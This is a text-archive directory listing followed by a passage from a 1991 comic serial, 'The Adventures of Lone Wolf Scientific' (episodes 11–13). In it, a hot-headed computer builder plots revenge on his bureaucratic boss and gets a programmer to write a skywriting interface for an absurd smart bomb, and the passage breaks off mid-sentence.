<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/15.lws">15.lws</A> <tab to=T><TD> 17457<BR><TD> The Adventures of Lone Wolf Scientific Episode #15 by Michy Peshota
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/episod.lws">episod.lws</A> <tab to=T><TD> 3572<BR><TD> INDEX of Installments of Lone Wolf Scientific by M. Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/four.lws">four.lws</A> <tab to=T><TD> 9301<BR><TD> The Adventures of Lone Wolf Scientific Episode #4 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/one.lws">one.lws</A> <tab to=T><TD> 11051<BR><TD> The Adventures of Lone Wolf Scientific Episode #1 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/six.lws">six.lws</A> <tab to=T><TD> 18687<BR><TD> The Adventures of Lone Wolf Scientific Episode #6 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/ten.lws">ten.lws</A> <tab to=T><TD> 14712<BR><TD> The Adventures of Lone Wolf Scientific Episode #10 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/two.lws">two.lws</A> <tab to=T><TD> 9578<BR><TD> The Adventures of Lone Wolf Scientific Episode #2 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LWS/welcome.lws">welcome.lws</A> <tab to=T><TD> 4881<BR><TD> Welcome to the Adventures of Lone Wolf Scientific by M. Peshota (1991)
</TABLE><P><TABLE WIDTH=100%><TR><TD ALIGN=RIGHT><SMALL>There are 11 files for a total of 128,878 bytes.</SMALL></TABLE>

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<TITLE>T E X T F I L E S</TITLE>
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<H1>
The Adventures of Lone Wolf Scientific (1991)
</H1>
<P>
<TABLE WIDTH=100%>
<TD BGCOLOR=#000000><FONT COLOR=#FFFFFF><B>Filename</B></FONT>
<TD BGCOLOR=#002200><FONT COLOR=#FFFFFF><B>Size</B></FONT>
<TD BGCOLOR=#004400><FONT COLOR=#FFFFFF><B>Description of the Textfile</B></TR>
<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="11.lws">11.lws</A> <tab to=T><TD> 16687<BR><TD> The Adventures of Lone Wolf Scientific Episode #11 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="12.lws">12.lws</A> <tab to=T><TD> 8926<BR><TD> The Adventures of Lone Wolf Scientific Episode #12 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="13.lws">13.lws</A> <tab to=T><TD> 14026<BR><TD> The Adventures of Lone Wolf Scientific Episode #13 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="15.lws">15.lws</A> <tab to=T><TD> 17457<BR><TD> The Adventures of Lone Wolf Scientific Episode #15 by Michy Peshota
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="episod.lws">episod.lws</A> <tab to=T><TD> 3572<BR><TD> INDEX of Installments of Lone Wolf Scientific by M. Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="four.lws">four.lws</A> <tab to=T><TD> 9301<BR><TD> The Adventures of Lone Wolf Scientific Episode #4 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="one.lws">one.lws</A> <tab to=T><TD> 11051<BR><TD> The Adventures of Lone Wolf Scientific Episode #1 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="six.lws">six.lws</A> <tab to=T><TD> 18687<BR><TD> The Adventures of Lone Wolf Scientific Episode #6 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ten.lws">ten.lws</A> <tab to=T><TD> 14712<BR><TD> The Adventures of Lone Wolf Scientific Episode #10 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="two.lws">two.lws</A> <tab to=T><TD> 9578<BR><TD> The Adventures of Lone Wolf Scientific Episode #2 by Michy Peshota (1991)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="welcome.lws">welcome.lws</A> <tab to=T><TD> 4881<BR><TD> Welcome to the Adventures of Lone Wolf Scientific by M. Peshota (1991)
</TABLE><P><TABLE WIDTH=100%><TR><TD ALIGN=RIGHT><SMALL>There are 11 files for a total of 128,878 bytes.</SMALL></TABLE>

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----------------------------------------------
"The Adventures of Lone Wolf Scientific"
------------------------------------------
An electronically syndicated series that
follows the exploits of two madcap
men of technology and the high-tech
company they start.
Copyright 1991 Michy Peshota. All
rights reserved. May not be distributed
without accompanying WELCOME.LWS and
EPISOD.LWS files.
-----------------------
EPISODE #11
Revenge on the Bureacratic Puppet Creature
>>Computer genius S-max discovers that the cans of twine
that his boss has put him in charge of are not "super-string
links between key defense systems," but plain old kite-
string.<<
by M. Peshota
Despite Andrew.BAS's fear of him and his rambunctious
officemate being fired for frittering away their days in the
most childish ways, the two reluctant defense workers
continued to be employed by Dingready & Derringdo Aerospace
for many, many weeks. Since their boss would not assign the
programmer to a programming project, thanks to the FBI's
shocking discovery during their security check on him (his
program editor had been authored by an emigre from a foreign
country that was overly-friendly to certain cable TV
comics), he had nothing to do each day but re-read the sci-
fi novels in his briefcase. Since his overbearing
officemate, S-max, refused to share with him the office's
sole unoccupied desk, he was forced to spend his days
sitting under the coat tree. His days limped past like
cruelly beaten dreamers.
One day, their boss, Gus Farwick, delivered to their
office an entire pallet cart heaped with coffee cans full of
snarled string. It was the kind of string Dingready &
Derringdo attached to pieces of complex weapon systems so
that they could be easily assembled on the battlefield with
just a few slipknots. Farwick had been delivering more and
more tangled string to their office the past few weeks, for
S-max to unsnarl and re-roll. Andrew.BAS felt this was a
good thing because when the restless computer builder wasn't
re-winding the string and sticking to the balls tiny labels
that read "Dingready & Derringdo, We're There on the Ground
When You Need Us," which was often, as S-max was not a man
to be yoked to any single task for more than ten minutes, he
stalked the office like a restless delinquent. With his
hands shoved in his voluminous army jacket pockets and
jingling like a million broken screwdrivers, he'd brag about
how <<he>> had been the one chosen to untangle the string
and Andrew.BAS had not, and disparaging computer programmers
in general.
"As you may have noticed, Andrew.BAS," he said one day,
idling kicking a can of twine across the floor, "there is a
memo tacked to our office door. It reminds all who pass by
that I am neither allowed to exit the office nor leave my
desk chair except in the case of fire, tornado, earthquake,
or when a specially designated escort arrives. The memo is
authored by none other than our ever imaginative supervisor
and perspicacious bureacratic puppet creature himself, Mr.
Farwick. You see, he has quarrantined me to my desk chair
because he knows that I am a genius computer builder and he
knows what computer geniuses are like. He knows that genius
computer builders like myself have too much intellect
rushing around inside their forebrains to be running around
in public." He pointed in illustration to his broad, thick
forehead. "He also knows the genius computer hardware
architects like myself do their best work when they are
locked in a dank room with nothing but a few alligator clips
and a lot of electrical outlets."
"That is a fairly accurate description of our office,"
observed Andrew.BAS.
The computer builder grunted. "At the same time, he
knows that no harm will come by letting <<you>> roam the
halls to your heart's content--" He pointed accusingly to
the frail, white-shirted Andrew.BAS. "--because you are
just a feckless computer programmer."
Andrew.BAS nodded with calm bemusement. "At least I
don't have to ask permission to look out our office door."
What their third officemate, the catatonic assembly
programming savant, Austin Jellowack, thought of the cans of
string, or these discussions, or S-max's frequent lambastes
of computer programmers, they did not know, for he never
said anything. He neither responded to their morning hellos
nor even acknowledged their presence. For hours at a time,
he either danced his swollen knuckles frenetically over his
computer's keys, or gazed off into space with a dangerous
vacantness in his eyes and a rivulet of saliva drooling from
his lip.
At least once a day, Gus Farwick visited their office
with a Polaroid camera. He would stride around the office,
rapidly clicking pictures of S-max's lopsided terminal with
its screen prompt set to the perpetual proclamation OUT TO
LUNCH>. He snapped pictures of the blowsy computer builder
struggling up to the overhead flourescent lights to retrieve
his Robin Hood tights--which he'd draped over the ballast
one day so as not to lose them. He snapped more pictures of
his "champagne-filled Jacuzzi" with its three-legged
bathtub, snarl of lawn sprinklers and jet propellers, and
half-drained bottles of bubble bath. He filled tablet after
tablet with descriptions of all that he saw. Each day, the
computer builder trailed him doggedly like a public
relations man, warbling purple adjective commentary like a
tabloid TV narrator.
"Feast your eyes on the heavenly shower curtain that
now wraps our homemade high-tech Jacuzzi!" he'd gush,
pointing to the mildewed plastic sheet that clung to the
blighted bathtub and the office's cinderblock wall and was
profusely patched with electrical tape. "This bathhouse
haute comes to us courtesy of Andrew Sebastian, who told me,
shortly after I moved into his house with him, that he
didn't care whether he ever ate, slept, or bathed again
because his life was now nothing but a dusty ruin. Which is
why he said I could have the shower curtain to take to
work." He'd grunt, momentarily destroying the Robin Leach
effect, then continue, "Observe the drapes' dewy, delicious
adornment of daffy ducks! Yes, even the ducks are wearing
moon helmets!"
More pallet carts stacked with string arrived. The
computer builder was forced to roll the string faster and
faster to keep up. Soon, coffee cans full of string rolled
in herds across the office floor. String was wound around
all the chair legs, even that of the mute Mr. Jellowack.
The more string that the computer builder's clumsy fingers
rolled, the more that seemed to tangle onto the floor at his
feet in immense, hopeless knots. Finally, he gave up. He
spent his days instead with his feet propped on his desk,
reading engineering magazines and grunting loudly.
One morning, while S-max had gone with a Farwick-picked
escort to read the bulletin board down the hall, Andrew.BAS
noticed that for the first time in days their normally
lifeless officemate was stirring. Austin had picked up from
his desk the glue gun that S-max had given him weeks prior
to glue pocket mirrors on the model of the <<Hindenburg>> in
the company cafeteria, and which he had refused to part with
ever since. He now aimed it squarely at the coat closet.
He gritted his teeth with deadly determination.
Seeing this as an ideal opportunity for intimate
conversation, Andrew.BAS smiled and asked the catatonic
programmer, "Have you been coding in assembly language very
long?" He realized that was a silly question, as Austin had
no doubt been programming in assembly before he even learned
to speak, as evidenced by his hollowed eyes, sunken chest,
pale skin, and generally worn appearance. Nevertheless, the
assembly savant showed no signs of having heard the
question. He continued to point the glue gun at the closet
door, his eyes wide, his arthritic knuckles twisted tight
around the handle.
Andrew.BAS bubbled on, "Do you ever cut out and save
the 'Hacks Tricks' in <<Machine Language Forever Magazine>>.
I do. I tape them in a scrapbook and reread them whenever I
get lonely."
Mr. Jellowack still didn't respond.
Finally, he ventured, "Do you like to stay up late at
night playing pingpong and watching other people's program's
compile?"
Austin now had the glue gun aimed at him!
Andrew.BAS returned to his sci-fi novel and continued
reading. A few moments later, he glanced up to see the
rumpled savant crouching down in front of him. Austin
Jellowack looked into his eyes with a bug-eyed panic. "Do
you see him?" he breathed.
Andrew.BAS glanced around. The office was empty except
for them. "See who?"
"<<Him>>!"
Andrew.BAS looked around again, bewildered. "Am I
supposed to?"
"You should if you are truly a member of the brethern
of computer programmers."
Since Andrew.BAS did want to be left out of the
brethern of computer programmers he looked over the office
more closely. Finally, he was forced to admit, "No, I'm
afraid I don't see anyone."
Austin nodded knowingly. He bit his thick, chapped
lip, then fled across the office with a spidery run and out
the door with his glue gun.
Since Andrew.BAS knew many programmers who behaved with
such utter inexplicability, especially assembly language
programmers, he thought nothing of the programmer's odd
words and continued reading.
S-max reappeared a few minutes later. His escort,
holding tight to the computer builder's elbow, despite its
violent, indignant jerking, trailed behind him, his shirt
ripped and one of his eyes swollen shut like a smashed
cabbage. The bossy S-max also appeared more mussed up than
usual, but it was hard to tell if he <<had>> been in a fight
since his normal appearance was of one who has just emerged
from a street brawl. He jerked his elbow side to side and
grumbled, "I do not need some Farwickian halfwit telling me
which research department bulletin board I cannot read."
"If you weren't such a loony tune--" the escort
protested.
"Loony tune?! I will have you know--"
"If you were could be trusted as far as the next water
fountain then maybe Mr. Farwick would let you to read
whatever bulletin boards you like."
"Mr. Farwick is as excited about my vision of the
future of technology as any dope would be--"
"Mr. Farwick is as <<frightened>> about your vision of
technology as any dope would be!"
At that the two men locked in a series of kicks and
pummels. Andrew.BAS bolted to his feet, and raced across
the room to separate the two.
"No, no, Andrew.BAS," the computer builder said,
pushing him aside. "This is not something an innocent young
programmer like yourself should see. This is an argument
that springs from the cold murderous outback of computer
hardware engineering, where inhabitants are forced to
constantly battle each other for warmth, caves, MOS
transistors, and access to research department bulletin
boards. We must settle this between ourselves once and for
all with fists and schematics. It is the only honorable
thing to do. If not, I will just run him down with my van
in the parking garage late one night."
His sufferer blatted, "If Mr. Farwick trusted you, why
does he have you rolling up kite string?"
"You fool!" the computer genius gasped. "It's not kite
string. It's super-string links between key components of
multi-billion dollar weapon systems!"
"It's kite string! And it's busywork! It's designed
to keep you in your desk and away from people who actually
get work done. It's Mr. Farwick's way of keeping you out of
mischief." The escort retrieved his broken glasses from the
floor. As he stalked out, he grumbled, "Haven't you ever
wondered why the only bulletin board you're allowed to read
is the one with the pictures of employees' new babies?"
The computer builder's black eyes narrowed with frenzy.
"Busywork?!"
"I'm sure there's a logical explanation for it,"
Andrew.BAS offered nonchallantly. He sat back down under
the coat tree and picked up his space novel.
"Busywork?!"
"Maybe the person who normally rolls up the kite string
is on vacation."
S-max paced the office. "This string is just
busywork!?" He threw his arms in the air.
"How do you know, maybe 'Busywork' is just the code
name for it."
"This is impossible! Here I am frittering away hours
of my high-paid technical genius affixing labels to balls of
string that may not be used to tie together costly and
complex agents of death on the battlefield, as I had hoped,
but might be used to fly kites!"
"There you go! See how easy it is to look at things
from a positive angle?"
S-max started to breath deeply. His frown deepened
with rage. "It is one of life's great tragedies, truly it
is, Andrew.BAS," he rhetoricized, gazing in stunned hurt at
the cans of string heaped on the pallet cart and rolling
around the office floor, "that we have in our Mr. Farwick a
man who couldn't even successfully wear plastic fangs and
host Saturday afternoon horror movies on low-powered UHF
stations--"
"Oh, I don't know if I would say that," the programmer
mused, easily picturing the wax bean head of their boss
squeezed behind glowing green fangs.
"Here is a man who has been chosen by a major military
contractor to bureacratically minister to a basement full of
scientists, engineers, and smart people when it's absurdly
clear that the dope couldn't even manage a couch full of
inflatable dummies, moreless difficult people like us!" He
grabbed Andrew.BAS by the collar. "Think it over carefully,
Andrew.BAS: Would you want a halfwit like Farwick on your
Jeopardy team? Would you trust a ding-dong like this to
lead you to the down escalator in a major department store?
I suspect not. That's why the only reasonable response to
this whole shocking mess is for us to take sweet and
dastardly revenge upon the bureacratic puppet creature who
mistakenly believes that he can keep a computer genius of my
stature out of trouble with nothing but a few cans of
tangled up kite string!"
The programmer looked at his officemate's angry face in
alarm. "I wouldn't be too angry with him. He was only doing
what he thought was right."
"We must take revenge, Andrew.BAS!"
"No!"
"Yes! We must have it!"
"Why can't we just continue collecting our paychecks
and forget about it?"
"Revenge, Andrew.BAS!" He shook the helpless
programmer by his shoulders. "We will have that middle-
management crustacean pulling out his gone-to-seed buzzcut
in no time!"
"Maybe we can just write him a letter?"
"The only memos I write are on corroded circuit cards
that will haunt you for the rest of your life with failed
I/O readings."
"Maybe an electronic message then?"
"Revenge! We must have it! We will plot a revenge so
dastardly, so hideous, so cunning that, not only will we
lose our jobs, but no one will ever hire us again!
Anywhere! Ever!"
"No! I still have six months' worth of payments left
on my motorscooter!"
"You should have thought of that before you begged to
become my officemate."
"But I--"
"There's no turning back now. You do not make a
computer genius of my stature roll up kite string for nearly
fourteen weeks without serious consequences. Revenge is the
only answer, Andrew.BAS. If you were older you'd realize
that. Nincompoops like Farwick must be taught that they
cannot just thoughtlessly hire a great mind and expect to go
on living the rest of their life normally, as if nothing
happened." With a haughty toss of his head, the computer
builder swaggered to his lopsided terminal, sat down in his
zebra skin-cloaked chair, and began typing in commands.
"Revenge, revenge!" he sang beneath his breath, and the
programmer buried his cowlicked head in his hands and
moaned, "oh god."
<Finis>
<<<<In the next episode, "The Last Words Bomb," the revenge
bent S-max obtains the program code for Dingready &
Derringdo Aerospace's newest smart bomb. Unfortunately, the
short-tempered computer genius cannot make heads of tails of
the software's user interface.<<<<<

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"The Adventures of Lone Wolf Scientific"
------------------------------------------
An electronically syndicated series that
follows the exploits of two madcap
mavens of high-technology. Copyright 1991
Michy Peshota. All rights reserved. May not
be distributed without accompanying
WELCOME.LWS and EPISOD.LWS files.
-----------------------
EPISODE #12
The Last Words Bomb
<<<<Revenge bent, S-max pilfers the program code for
Dingready & Derringdo Aerospace's newest smart bomb.
Unfortunately, the short-tempered computer genius cannot
make sense of the software's inscrutable user interface.<<<<
By M. Peshota
The assembly language savant was sitting like ancient
stone in front of his computer terminal. He would have
brought his fingers to the keys and resumed their manic
dance across them, but he was gripped by fear that if he
did, the ghost who inhabited his office closet, the ghost of
Alan Turing, the father of computer science and a lonely,
tireless kibbitzer, would emerge with his bicycle and come
and look over his shoulder, clucking like an old teacher.
He could consequently bring himself to do nothing but stare
exhaustedly into the night. He was wondering if other
programmers had this problem when he heard a cry of
"Hooligan programmers!" He turned his bloodshot eyes toward
the other end of the office.
The officemate who looked like a mountain ogre was
pawing the pages of an immense, crabbed printout and
grumbling. The book "The Joy of Software" was propped in
front of him on the desk. His dark eyes scanned its open
pages with uncomprehending suspiciousness. In one fist he
clenched a brutish-looking screwdriver. He held it over the
printout like a murder weapon, as if he was about to stab it
repeatedly and leave it for dead. He had two days growth of
beard, his hair poked out in all directions like a man who
has lost much sleep, his t-shirt was more heavily sweat-
splotched than usual, and the faded infinity sign imprinted
on the front of his shirt now looked like part of a roller
coaster that had fallen off its scaffolding. "Idiot
software," he muttered. He shuffled pages. From his
impatient clench, the printout--dogeared, pasted up, taped
together, and graffittied as profusely as an abandoned
building between the turfs of two warring gangs--stretched
across his desk, zigzagging down to the floor. It was the
program code for a computer-guided missile that Dingready &
Derringdo Aerospace was designing for the military.
How his officemate had gotten hold of the top-secret
software, Austin was not certain, although he suspected that
the computer builder had learned all about it the same way
that everyone else in the company had--by infiltrating the
secret recesses of the company mainframe computer by using
the password "topgun." The password "topgun" was used by
most of the military contractor's executives to log on to
the computer, despite the ceaseless pleading of the security
director to use something less likely, such as "dog" or
"cat". For as long as Austin had worked there, it was a
well known fact, that anything of interest in the company
computer could be read with the password "topgun."
He heard S-max moan. He sounded like a constipated
moose. "Pixillated hoodlums," he snorted--it was his
favorite term of derision for programmers who got on his
nerves. He pawed more pages.
Earlier in the evening, the computer builder had begged
Austin to show him how to run the software and program the
guided missile. He promised to give him a ride in his van
with the rocking satellite dish on top if he did--a prospect
that the programmer found quite attractive, if only for the
fact that it had been over four years since he had left the
military contractor's research sub-basement. The thought of
unravelling the enigma of "The Last Words Bomb" software was
also appealing to him, for it had been many years since
anyone had last made sense of the bomb's trailing, muddled
code.
It would be a monolithic taste, tracing through the
helter-skelter code and trying to figure out how it worked,
where it led to, how it ended, even for a programmer as
gifted as Austin, for the program looked like nothing but
one long telephone message to a fellow named "FIFO" lost in
a place called "ENDBOMB." Snatches of it were written in
Austin's specialty, assembly language--the computer tongue
that has been known to induce madness by the meticulousness
it demands, but much of it was coded in any of two dozen
different computer languages, some charmingly obscure,
others downright loopy. There was INDO-GOSUB, for example,
in which every verb was lost within a millions GOSUBs and
all the operands had very angry-sounding gutteral names.
There was PL/1-SKRIT which, when printed out, looked like a
giant big-toed bird had run over the page with ink on its
toes. There was REFORMED PASCAL which was like a cross
between an imperative/algorithmic language and directions on
how to use a Chinese cookie press. There were many others
that Austin was even less familiar with. The linguistic
hodgepodge of "The Last Words Bomb's" software was
attributable to the large number of half-interested,
underpaid programmers who had worked on it over the years,
including--Austin was embarrassed to admit--himself. Not
only did the code lack any comments explaining what its
lines did, but its margins were doodled full of drawings of
Kilroys, spaceships, elves, fast cars, and all the species
of insects in the sub-genus eipuloituna, and algorithms that
had nothing to do with the task at hand. One stretch of the
margin was adorned with Biblical-looking brambles, grapes,
and vines, and lettered with the proclamation "VAX USERS DO
IT BETTER" in the style of an illuminated manuscript.
Austin saw his officemate drop his bushy head onto his
desk, cover it with his hands, and groan.
Despite the jibbering digressiveness of the guided
missile's software, the weapon itself was highly advanced
verbally. That's what made it so unique, and ultimately so
important to the defense contractor as well as the Pentagon.
It could do what no other smart bomb in the arsenal of any
world power, moreless any terrorist one could do: it could
print a message in the sky over its target prior to
detonation. You could program it to write, say, "SURRENDER
AT ONCE OR PREPARE TO CHANGE YOUR PROGRAMMING LANGUAGE TO
C!" Or you could have it spell "NATO HAS BETTER SOFTWARE
ENGINEERS THAN YOU DO, FOOL!" (These were the two examples
given in the missile's user's manual. Not surprisingly, the
manual was authored by programmers.) The missile would
blaze its communique' through the clouds in graceful trails
of smoke. The smoke could be any color or the letters any
style that could be found in any major-release video game.
Of course, in order to command the bomb to paint
messages in the sky, you needed to use the missile's
software, and it was that software that S-max was presently
tussling with. Austin would have liked to know what the
troublemaking S-max wanted to write in the sky, but he
resigned himself to the fact that he would probably never
find out since it was doubtful the short-patienced computer
builder would ever make sense of the code.
Having lifted his head off the desk and resumed
scanning the code, he began pounding his fist on the desk.
"Damn programmers!"
Austin sighed. It was growing late. It was probably
well past midnight, he concluded, feeling his own chaotic
body rhythm start to allign itself with the approaching
rumble of the janitor's floor buffer down the hall, as it
did about every time this night. He felt his scraggly-
haired head drop to his own computer keyboard. He felt his
mouth drop open and a stream of drool creep from it. He
would have liked to have crawled beneath the desk and gone
to sleep there instead, where it was more comfortable, but
the assembly language savant was too weary. As sleep's
foghorns grew nearer and louder, he surrendered himself to
the conquering peace of abject exhaustion.
The last thing he heard was his officemate yelp with
exasperation and promptly stuff the program code for "The
Last Words Bomb" into the trashcan with loud, vindictive
punches.
<Finis>
>>>>In the next episode of "The Adventures of Lone Wolf
Scientific," S-max begs his officemate to write a new user-
interface for The Last Words Bomb. When the programmer
refuses, expressing his reluctance to use his programming
talents on an "instrument of death," the computer builder
tries to explain to him the concept of a "peace-keeping
tool."<<<<

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"The Adventures of Lone Wolf Scientific"
------------------------------------------
An electronically syndicated series that
follows the exploits of two madcap
mavens of high-technology. Copyright 1991
Michy Peshota. All rights reserved.
May not be distributed without
accompanying WELCOME.LWS and
EPISOD.LWS files.
-----------------------
EPISODE #13
The "Peace-Keeping Tool" Gets a Humane User-Interface
>>>>S-max implores his officemate to write a new user-
interface for The Last Words Bomb. When the programmer
refuses, expressing his reluctance to use his programming
talent to better an "instrument of death," the computer
builder explains to him the concept of a "peace-keeping
tool."<<<<
By M. Peshota
Andrew.BAS was surprised to see his rambunctious
officemate reasonably well-behaved for an unprecedented
stretch of nearly two weeks. He remained seated in his desk
chair for most of the day like he was supposed to. He
listened to the endless hours worth of Dingready & Derringdo
Aerospace employee motivation tapes that their boss supplied
him with. He even stopped gasping and sputtering
incessantly about the horrific revenge he planned to take
upon their boss, Gus Farwick, for tricking him into rolling
up kite string. The programmer no longer worried that the
restive S-max was about to unleash some retaliatory mischief
that would get them both fired. In fact, it was the
furthest thing from his mind when the latter bustled over to
him one afternoon with a rather intriguing programming
problem.
"Andrew.BAS, I must have your help." The computer
builder sighed in such a way that it almost sounded like a
command. A printout was heaped in his arms and he dropped
it, like a giant, dirty, unravelling spitball, into the lap
of the programmer who was sitting on the floor beneath the
coat tree. "This," he said, pointing to it, "is a problem
only you can solve for it requires intimate knowledge of all
the most half-baked programming languages."
The programmer took a dogeared corner of the coffee-
stained printout and examined it. A brown banana peel fell
from one of the printout's leaves. "This looks like it was
pulled from a garbage can."
"Well, yes, it did inhabit one for a while." The
computer builder snorted in despair. "But I have since
calmed down immeasurably and have had second thoughts about
this ridiculous program's usefulness." He grunted. "I need
you to write a simple user-interface for it, something that
I will be able to use. At the moment, my vocabulary of
expletives is not large enough to permit me to spend more
than ten minutes--maybe fifteen tops with this aggravating
muddle."
"What is it?"
"It is software."
"Software for what?"
"A guided missile."
Andrew.BAS looked up in alarm. "Smart bomb software,
huh?" His face grew grave. "I don't know if I care to use
my programming talents to further the aims of over-financed
militarists who resolve their problems through mass
destruction."
"No, no, Andrew.BAS, you've got the concept and the
terminology all wrong!" S-max wagged a finger at him. "The
missile that this foolish software purportedly controls is
not a weapon."
"No?"
"It is a <<peace-keeping tool>>.
"Hmm..."
"That's right. A peace-keeping tool. Before the
missile explodes it writes a message in the sky--"
"A message in the sky? Really?
"Yes, it writes a communique in the clouds with various
colors of smoke that are all VGA compatible and can all be
software controlled."
"Well, that's pretty neat."
"Yes, it <<is>> neat." The computer builder rolled his
eyes at how easy it was to impress child-hearted programmers
such as his officemate. "It writes messages like 'Please
lay down your arms, dear friends, and we will lay down ours
too,' or 'We are all one happy people, sharing alike in
life's bounty and joy, so let us not fight anymore. Come
over to our place tonight and watch "Star Trek" reruns with
us. We will provide the microwave popcorn.'" He grunted.
Andrew.BAS's eyes shifted disbelievingly. "And it
doesn't write messages like 'Die, Die Fascist Sheep-Sucking
Worm'?"
"No, of course not. Only polite, peaceable messages."
"Hmm..."
"It's a fact! If the people on the ground attentively
read and follow the instructions that the missile prints in
the sky prior to detonation, they will save their population
from further holocaust. That's why it's called a peace-
keeping tool."
"But the bomb will still explode, right?"
"Well, yes, the bomb will still explode."
"Then it's an instrument of death."
"No, no, it's a peace-keeping tool, you fool!" S-max
seized the programmer by the waifish shoulders and shook
him. "Haven't you been listening to me? <<Peace-keeping
tool.>> Now listen: if the doomed and helpless populace on
the ground follow the advice written high in the sky by the
bomb, they can be assured that hundreds of thousands of
other bigger bombs won't follow. Can you understand that?
Are you aware of the difference between acceptable levels of
human casualties and total nuclear annihiliation? Or did
they forget to teach you that important concept in software
school?!"
Andrew.BAS shuddered. "Peace-keeping tool, huh?" He
glanced in revulsion at the printout. He would have
continued the debate over peace-keeping tool versus
instrument of death, but his eyes caught on several
interesting passages of code. He unravelled several leaves
of the printout. "This looks like it's written in INDO-
GOSUB," he said in amazement. "It's been years since I've
seen anything in INDO-GOSUB."
"Yes, there is a lot of INDO-GOSUB in those troubled
lines. There is also profuse use of a programming language
that seems to be called VAX USERS DO IT BETTER. It is
scribbled all over the margins." The computer builder
grunted. "Although I'm not much of an authority on the rude
art of programming (someone of my intellect doesn't need to
be), it seems to me that this is something in which you
could use a lot of vectors."
"Vectors!?" the programmer started. He had a weakness
for vectors. He unwound more of the spitball-like printout.
"I bet it would be a lot of fun writing a user interface for
software like this," he mused with a smile.
"Yes, it <<would>> be fun!" his officemate hurried to
add, rolling his eyes once more at the simple pleasures of
easily beguiled programmers. "And think of it, everytime a
helpless agrarian village was not completely decimated
because of this bomb, you would be one of the faceless
technocrats most responsible."
But Andrew.BAS wasn't listening. He was already
formulating a plan for how he would make this snarl of
computer code, riddled with bewitching ancient tongues like
INDO-GOSUB and requiring profligate use of vectors, easy for
people to use. "I'll give it a prompt that says 'CRUISE:'
like in a banner program, you know..." he said to himself,
as his bossy officemate seized him by the wrist. He dragged
him to his feet, jerked him and the printout over to his
desk and sat them down behind it. "...and maybe a scorebox
which will tabulate the number of direct hits--ouch!" The
programmer bolted to his feet.
"No need for panic. You only sat on rusty nails." The
computer builder grasped the back of the aircraft cockpit
seat covered with fake zebra fur that served as his computer
chair and shook it vigorously like an apple tree. Half a
hardware store clattered to their feet. He returned the
chair to the floor and pressed the programmer back into it.
Sitting at the computer builder's ramshackle desk, in front
of a lopsided, flame-singed computer terminal, the
programmer looked like a blue-eyed child about to be
sacrificed to a Rube Goldberg device. "Can we lose the
fuzzy dice?" he said, nodding toward the fur cubes dangling
at the top of the screen.
"Good as gone." S-max jerked them from beneath the
"Honk If You Want Complete Schematics" bumper sticker.
"And the moose horns?" He pointed toward the antlers
that sprouted from the top of the terminal.
"That's where I draw the line."
As the programmer fastidiously retooled the smart
bomb's software over the next three days, the computer
builder hovered over his shoulder watching, like an
impatient Wookie. He brought him his meals, he brought him
cans of soda, he brought him a change of clothes so that he
wouldn't have to stop programming and go home at night. At
least once an hour, he inquired, with a politess so gawky it
sounded as if the computer builder had never been polite
before, when Andrew.BAS would be finished giving the
software a new user-interface.
Finally, one day, the programmer stood up, pointed to
the screen, and said, "Do you see that prompt?" The prompt
he was referring to was a flashing arrow. It was preceeded
by the world 'CRUISE:'
S-max hurried over and squinted at it.
"It's a prompt just like the kind you find in software
for printing banners. I assume you are familiar with how
banner programs present you with a prompt that reads
'BANNER:' and after it you type what you want the banner to
read."
The computer builder nodded.
"Well, this works the same way. The guided missile
software prompts you with the word 'CRUISE:'--as in cruise
missile. After it, you type what you want the missile to
write in the sky."
"That's all there is to it?"
"Yes, that's all."
S-max pounced on the keys, his knuckles spread like
attacking claws. "So if I type 'Prepare for Total and
Unmitigated Nuclear Annihilation, You Bloody Cur!'--" He
began typing slowly, with two fingers. "--the missile will
blaze that across the sky?"
"Well...theoretically, yes."
"And if I type in 'You Are Nothing But a Bunch of
Motherless Warthogs, Waiting to Become a Feast of
Vultures,'--" The computer builder began tapping in
'warthogs.' "--the missile will write that in the sky too?"
"Umm...yes, theoretically."
"And if I key in 'Gus Farwick is Nothing But a
Testosterone-less Simp with Eel Toes for Brains' the bomb
will blaze that truth in the clouds?"
"Hmm..." Andrew.BAS was afraid something like this
would happen. "Theoretically," he said. "The software is
equipped to write things for many occasions."
"You are a genius, Andrew.BAS!" S-max clasped him by
the shoulders. "This software is so simple even I can use
it! Look!" He returned his apeish knuckles to the
keyboard. "I can type 'Gus Farwick Has a Mind of Shredded
Tires and a Soul of Wet Noodles," and the missile will spell
that in the sky!" He tapped in the first three letters of
'shredded tires' with relish. "I can type 'Gus Farwick is a
Needle-Nosed Ninnyhammer' and those very words will also be
writ in the clouds for all to see. I tell you, Andrew.BAS,
you have transformed the world of peace-keeping tools!"
The programmer frowned.
The computer builder was tapping in the word
'ninnyhammer,' when he suddenly stopped and said, "Wait a
minute. Why can't I finish typing 'ninnyhammer'?" He
pointed bewilderedly to the red flashing computer screen.
"The screen is pulsing and the software is telling me that I
made a 'Language Parser Error.' What does this mean,
Andrew.BAS?"
"I wrote into the software a language parser," the
programmer explained. "It prohibits you from entering any
of 137,542 derogatory words, phrases, and euphemisms--most
of which are taken from your daily vocabulary--"
"You what?!"
"The feature is designed to prevent you--or anyone
else--from programming the bomb to skywrite something in a
